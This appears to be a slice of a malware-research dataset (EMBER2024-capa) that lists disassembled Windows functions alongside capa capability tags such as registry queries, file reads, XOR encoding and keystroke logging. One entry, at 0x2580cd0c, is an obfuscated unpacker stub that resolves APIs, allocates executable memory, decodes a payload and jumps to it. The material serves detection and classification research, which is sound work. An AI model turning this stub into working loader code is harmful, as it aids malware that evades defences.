joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4db2b0
Capabilities:
Check for time delay via gettickcount
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5176dd
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x550144]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x40], ebx
lea eax, [ebp - 0x30]
mov dword [ebx + 0x48], 1
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov esi, dword [ebp - 0x24]
shr esi, 0x14
push esi
push 0x524c88
push 0x550bb8
call fcn.0048d880
add esp, 0xc
cmp esi, 0x190
jae 0x4db31d
mov dword [ebx + 0x48], 0
xor ecx, ecx
jmp 0x4db320
mov ecx, dword [ebx + 0x48]
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x3c], esp
push ecx
push eax
call fcn.00469300
add esp, 8
push 0x2eec
sub esp, 0x18
mov dword [ebp - 4], 0
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.actionUseMemoryFiles
call fcn.0044c020
mov byte [ebp - 4], 1
call fcn.00479f00
mov ecx, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0047a6e0
cmp dword [ebx + 0x48], 0
jne 0x4db377
mov eax, 1
jmp 0x4db479
mov ecx, dword [ebx + 0x3c]
lea edx, [ebp - 0x44]
xor edi, edi
push edx
mov dword [ebp - 0x34], edi
mov eax, dword [ecx]
call dword [eax + 0x10]
push 1
mov ecx, ebx
mov dword [ebp - 4], 2
call fcn.004d9af0
mov esi, eax
mov ecx, ebx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x38], esi
push eax
push 1
call fcn.004d9ca0
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x4db467
test esi, esi
je 0x4db467
push 0x524ca0
push 0x550bb8
call fcn.0048d540
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 8
call esi
mov ecx, dword [ebp - 0x38]
mov edi, eax
push dword [ebp - 0x34]
push dword [ebp - 0x3c]
mov eax, dword [ecx]
push ecx
call dword [eax + 4]
sub esp, 0x18
mov ebx, eax
mov ecx, esp
mov dword [ebp - 0x3c], esp
push 0x535d00
call fcn.0044c020
mov byte [ebp - 4], 3
call esi
sub eax, edi
push eax
push 0x3aa8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x34], esp
push str.costUncompressInMemory
call fcn.0044c020
mov byte [ebp - 4], 4
call fcn.00479f00
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0047aae0
xor eax, eax
test ebx, ebx
sete al
push eax
push str.Uncompress
push 0x550bb8
call fcn.0048d540
mov esi, dword [ebp - 0x38]
add esp, 0xc
test ebx, ebx
mov ebx, dword [ebp - 0x40]
je 0x4db462
mov ecx, esi
mov dword [ebx + 0x48], 0
call fcn.004a9070
mov edi, 1
push esi
mov ecx, ebx
call fcn.004db250
lea ecx, [ebp - 0x44]
call fcn.0044c080
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004de46d
mov esp, ebp
pop ebp
ret
Function at 0x4db4f0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
xor esi, esi
call fcn.004034e0
mov ebx, eax
test ebx, ebx
jne 0x4db521
push 0x5256d0
push 0x550bb8
call fcn.0048d880
add esp, 8
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
call fcn.0044c0a0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x4db579
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push 0x525708
push 0x550bb8
call fcn.0048d880
mov eax, dword [ebx]
add esp, 0x10
push ebx
call dword [eax + 0x10]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov eax, dword [ebp + 8]
push edi
push dword [eax]
push 0x52574c
push 0x550bb8
call fcn.0048d880
add esp, 0x10
test edi, edi
je 0x4db61e
cmp edi, 0x1400000
ja 0x4db61e
push edi
call fcn.004e7eb2
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
jne 0x4db5cd
push edi
push 0x525784
push 0x550bb8
call fcn.0048d880
add esp, 0xc
jmp 0x4db61e
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], esi
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4db5fd
push edi
push str._vc_runtime_
push 0x550bb8
call fcn.0048d880
mov edi, dword [ebp + 8]
add esp, 0xc
jmp 0x4db615
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebx]
call fcn.0044c0a0
push eax
push edi
mov edi, dword [ebp + 8]
push edi
push ebx
call dword [esi]
neg eax
sbb esi, esi
inc esi
push edi
call fcn.004e7ead
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx]
push ebx
call dword [eax + 0x10]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4db6b0
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x550144]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
push 0x525848
push ebx
call fcn.004f462f
add esp, 8
lea ecx, [ebp - 0x58]
call fcn.004971e0
push ebx
lea ecx, [ebp - 0x58]
call fcn.00497720
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x1c]
push eax
call fcn.0048e4e0
add esp, 4
mov ecx, eax
call fcn.0044a630
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea ecx, [ebp - 0x1c]
call fcn.0044a640
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
push esi
mov ecx, 0x553080
mov dword [ebp - 0x60], eax
call fcn.004c8690
test eax, eax
je 0x4db7c3
sub esp, 0x18
mov ecx, esp
push 0x535d00
call fcn.0044c020
call edi
sub eax, dword [ebp - 0x60]
push eax
push 0x3a99
sub esp, 0x18
mov ecx, esp
push str.costInit
call fcn.0044c020
call fcn.00479f00
mov ecx, eax
call fcn.0047aae0
sub esp, 0x18
mov ecx, esp
push 0x535d00
call fcn.0044c020
push 0x2ee2
sub esp, 0x18
mov ecx, esp
push str.actionInstallerEnterRunning
call fcn.0044c020
call fcn.00479f00
mov ecx, eax
call fcn.0047a6e0
push str.g_App.Run...
push 0x550bb8
call fcn.0048d540
add esp, 8
mov ecx, 0x553080
call fcn.004c95c0
mov ebx, eax
push ebx
push str.g_App.Run_return:_d
push 0x550bb8
call fcn.0048d540
add esp, 0xc
mov ecx, 0x553080
call fcn.004c8490
sub esp, 0x18
mov edi, eax
mov ecx, esp
push edi
push ecx
call fcn.004d8960
add esp, 8
push 0x2ee3
sub esp, 0x18
mov ecx, esp
push str.actionInstallerRunFinish
call fcn.0044c020
call fcn.00479f00
mov ecx, eax
call fcn.0047a6e0
mov ecx, 0x553080
call fcn.004c9cc0
lea ecx, [ebp - 0x58]
call fcn.00497a30
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, 0x5530d4
test ebx, ebx
je 0x4db83a
xor esi, esi
push esi
push 0x64
call fcn.004db8d0
push 0x535
mov ecx, 0x5530d4
call fcn.004db8a0
jmp 0x4db847
push edi
push 0x64
mov esi, 1
call fcn.004db8d0
lea ecx, [ebp - 0x58]
call fcn.00497360
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004de46d
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4dba20
Capabilities:
Check mutex on windows

Disassembly:
push esi
push edi
push str.Global_rtp_svc_shutdown_event
mov esi, 1
push 0
push esi
call fcn.004db970
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edi, eax
test edi, edi
je 0x4dba93
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.Global_rtpsvc_instance_mutex
push esi
call fcn.004db970
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, eax
test ebx, ebx
je 0x4dba8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4dba84
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
cmp eax, 0x102
cmove esi, ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
pop edi
mov eax, esi
pop esi
ret
Function at 0x4dc4d0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x517865
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
mov eax, dword [0x550144]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [ebp - 0x1c]
call fcn.004c78a0
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], 0
call fcn.0047d1f0
lea eax, [ebp - 0x10]
mov byte [ebp - 4], 1
push eax
push str.recommandLevel
lea ecx, [ebp - 0x1c]
call fcn.004c84b0
test eax, eax
je 0x4dc542
lea ecx, [ebp - 0x10]
call fcn.0044c0a0
push eax
call fcn.004e9283
add esp, 4
jmp 0x4dc544
xor eax, eax
cmp dword [ebp + 0xc], 0
jne 0x4dc55f
cmp eax, 1
jne 0x4dc559
cmp dword [ebp + 8], 0
je 0x4dc559
mov dword [esi], eax
jmp 0x4dc55f
mov dword [esi], 2
mov eax, dword [esi]
test eax, eax
jle 0x4dc570
push 0
mov ecx, esi
call fcn.004dc7f0
mov eax, dword [esi]
push eax
push dword [ebp + 8]
push dword [ebp + 0xc]
push str.CVersionChecker::Init_bCoverInstall_d_bSlient_d_nSimpleVersion_d
push 0x550bb8
call fcn.0048d540
add esp, 0x14
lea ecx, [ebp - 0x10]
call fcn.0044c080
lea ecx, [ebp - 0x1c]
call fcn.004c7cc0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4fd2b1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004fd130

Function at 0x502ee3
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00502ba3
Function at 0x2580cd0c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x2580cd1b
pop dword [ebp - 0xc]
mov eax, 0x602b7259
add eax, 0xc5555ac2
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x7fda1ebd
sub dword [ebp - 0x1c], 0x3187d972
mov dword [ebp - 0x18], 0xf4c10b47
sub dword [ebp - 0x18], 0xc28dbf02
mov dword [ebp - 0x14], 0x9f7d7fb5
add dword [ebp - 0x14], 0xaccec479
mov dword [ebp - 0x10], 0xe818cc54
add dword [ebp - 0x10], 0x17e733ac
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x93ded2d2
sub dword [ebp - 0x1c], 0x1f6c697c
mov dword [ebp - 0x18], 0x665c3635
sub dword [ebp - 0x18], 0x24efd4c0
mov dword [ebp - 0x14], 0xb16b1121
add dword [ebp - 0x14], 0xb2045b4b
mov dword [ebp - 0x10], 0x1856f82c
sub dword [ebp - 0x10], 0x1856f82c
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xebaf3a56
add eax, 0x39d2061a
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x394ae
push 0
call eax
mov ecx, 0x4218
xor edi, edi
add edi, eax
mov edx, 0x64a711d9
sub edx, 0x3f2535d9
add edx, dword [ebp - 0xc]
mov esi, 0x3c677b2d
add esi, 0xf3460863
mov ebx, dword [edx]
sub ebx, esi
xor dword [ebp - 4], 0x6335786e
mov dword [edi], ebx
add dword [ebp - 4], 0xed835ff5
add edi, 0x4db952a8
sub edi, 0x4db952a4
add edx, 4
loop 0x2580ce34
add eax, 0x2c7e7dcf
add eax, 0xd3827d64
xor ebx, ebx
add ebx, eax
add eax, 0xc9f39bbf
add eax, 0x360c6446
mov ecx, 0x25800000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x403078
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004047c0
test esi, esi
jne 0x4030ae
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004048b0
jmp 0x4030cc
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402f7c
mov edi, eax
test esi, esi
je 0x4030cc
cmp dword [ebx], 0
je 0x4030cc
dec esi
jmp 0x4030b5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4030d8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x45c008], 0x8088405
inc edx
mov dword [ebx + 0x45c008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4037b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x45c024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40384c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40382c
xor eax, eax
push ebp
push 0x403825
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403868
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40382c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x45c024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x45c024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404640
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4d1048], 0
je 0x4046a1
cmp word [0x4d121c], 0xd7b2
jne 0x404669
cmp dword [0x4d1224], 0
jbe 0x404669
mov eax, 0x4d1218
call dword [0x4d1234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4046c8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x45c030], 0
jne 0x4046bd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x408130
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x4081c0
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x4081c0
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x408173
test edx, 3
jne 0x408162
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x40816d
jmp 0x408173
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x408173
cmp dword [ecx - 8], 1
je 0x40817d
mov edx, ebx
or edx, 3
call fcn.00404f0c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x7b7b7b7b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x40818f
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004047c0

Function at 0x4081cc
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, eax
mov eax, edx
test esi, esi
je 0x40825c
mov edx, dword [esi - 4]
mov edi, eax
test edx, edx
jle 0x40825c
mov ecx, dword [eax]
mov ebx, edx
test ecx, ecx
je 0x40820f
test edx, 3
jne 0x4081fe
xor edx, dword [ecx - 4]
cmp edx, 3
jbe 0x408209
jmp 0x40820f
or edx, 2
xor edx, dword [ecx - 4]
cmp edx, 1
ja 0x40820f
cmp dword [ecx - 8], 1
je 0x408219
mov edx, ebx
or edx, 3
call fcn.00404f0c
mov edi, dword [edi]
mov dword [edi - 4], ebx
mov byte [edi + ebx], 0
add ebx, 0xffffffff
and ebx, 0xfffffffc
mov eax, dword [esi + ebx]
mov ecx, eax
or eax, 0x80808080
mov edx, eax
sub eax, 0x5b5b5b5b
xor edx, ecx
or eax, 0x80808080
sub eax, 0x66666666
and eax, edx
shr eax, 2
xor eax, ecx
mov dword [edi + ebx], eax
mov eax, dword [esi + ebx - 4]
sub ebx, 4
jge 0x40822b
pop edi
pop esi
pop ebx
ret
pop edi
pop esi
pop ebx
jmp fcn.004047c0

Function at 0x40b474
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b4ad
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004048b0
jmp 0x40b4b6
mov eax, ebx
mov edx, esi
call fcn.00404814
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b4c0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b4e2
movzx eax, byte [esp]
jmp 0x40b4e4
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40bb74
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40b9ec
mov eax, dword [0x4d0700]
cmp byte [eax], 0
je 0x40bbf0
mov eax, dword [0x4d0514]
call fcn.0040317c
call fcn.00402de8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408c0c
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bc38
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bc26
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4d04bc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4d37f4]
call fcn.00405940
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40c484
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c55a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404858
lea eax, [ebp - 4]
call fcn.00404cd4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c84
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c544
mov eax, ebx
call fcn.00402c8c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c53d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404c84
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c527
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c56c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c527
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c544
mov eax, dword [ebp - 0x10]
call fcn.00402ca8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c561
lea eax, [ebp - 4]
call fcn.004047c0
ret
Function at 0x41b2dc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4d4300
cmp dword [edi], 0
jne 0x41b358
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4d42fc]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x45cad8
mov ecx, 2
call fcn.00402e7c
mov edx, 0x41b2b4
lea eax, [esi + 5]
call fcn.0041b2d4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041b2d4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41b32d
mov dword [0x4d42fc], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41d884
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404c84
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41d8dc
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x4d0824]
mov dl, 1
mov eax, dword [0x41d3a8]
call fcn.0040bd34
call fcn.00404208
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041d4b0
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41e738
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41e73e
ret
Function at 0x42bdc0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004047c0
push 0
movzx eax, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x42be0e
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404a30
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42fe90
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42ffc3
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0x16], 0
lea eax, [ebp - 0x16]
push eax
call sub.user32.dll_GetKeyboardLayoutNameA
mov dl, 1
mov eax, dword [0x41d408]
call fcn.0041d4d8
mov dword [ebp - 0xc], eax
xor edx, edx
push ebp
push 0x42ff99
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, 0x80000002
mov eax, dword [ebp - 0xc]
call fcn.0041d578
lea eax, [ebp - 0x20]
lea edx, [ebp - 0x16]
mov ecx, 0xa
call fcn.00404a30
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x1c]
mov edx, 0x42ffd8
call fcn.00404ad0
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc]
call fcn.0041d5dc
lea ecx, [ebp - 4]
mov edx, 0x430014
mov eax, dword [ebp - 0xc]
call fcn.0041d80c
mov edx, 0x8000
mov eax, dword [ebp - 4]
call fcn.0040d73c
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x42ff7c
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x430020
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov ebx, eax
call ebx
movzx eax, word [eax + 0x28]
and ax, 1
cmp ax, 1
sete byte [0x45d468]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42ff83
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret

Function at 0x430070
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov esi, eax
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movzx ebx, byte [esp + 4]
test bx, bx
je 0x4300b7
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43009a
add bx, 0x2000
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4300ab
add bx, 0x4000
test byte [esp + 0xb], 0x20
je 0x4300b7
add bx, 0x8000
mov eax, ebx
add esp, 0x10
pop edi
pop esi
pop ebx
ret